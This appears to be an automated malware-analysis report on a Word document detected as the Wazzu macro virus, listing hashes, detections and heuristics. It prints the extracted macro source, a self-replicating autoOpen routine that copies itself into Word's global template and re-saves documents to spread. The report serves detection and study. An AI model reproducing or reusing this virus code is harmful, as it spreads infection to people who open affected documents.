Wazzu — Office (OLE) malware analysis

Static analysis result for SHA-256 d44a498c54c5116e…

MALICIOUS

Office (OLE)

28.5 KB Created: 1998-01-01 00:54:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 6ea32b39b583027e38165cb1cd31a633 SHA-1: fb6d96ace7d47188da6c9bf7c37822fa89cbe354 SHA-256: d44a498c54c5116e4f136fd83d8e81427283a39ab8d0a402de53848ef5a06bd7
188 Risk Score

Malware Insights

Wazzu · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic

The sample is identified as a legacy WordBasic macro-virus by ClamAV, specifically 'Doc.Trojan.Wazzu-41'. The extracted VBA macro contains an 'autoOpen' subroutine which is designed to copy itself to the global template and save the document. The macro also includes a conditional message box with the text 'Leaving Traces of Wazzu Around the World...'.

Heuristics 4

  • ClamAV: Doc.Trojan.Wazzu-41 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Wazzu-41
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "autoOpen"

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1064 bytes
SHA-256: 9d01d9729a28e922b2eb47385683371141a96ff733907d3c99416a6187c96b71
Detection
ClamAV: Doc.Trojan.Wazzu-41
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "autoOpen"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Leaving Traces of Wazzu Around the World..."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.autoOpen.MAIN"
Dim FileMacro$
Dim GlobalMacro$

On Error GoTo -1: On Error GoTo Sucker

    FileMacro$ = WordBasic.[FileName$]() + ":autoOpen"
    GlobalMacro$ = "Global:autoOpen"

    If WordBasic.[MacroFileName$]() = WordBasic.[FileName$]() Then
        WordBasic.MacroCopy FileMacro$, GlobalMacro$, 1
    Else
        WordBasic.MacroCopy GlobalMacro$, FileMacro$, 1
        WordBasic.FileSaveAs Format:=1
    End If

    If Rnd() < 0.15 Then
        WordBasic.MsgBox "Leaving Traces of Wazzu Around the World..."
    End If

Sucker:

End Sub

Attribute VB_Name = "NewMacros"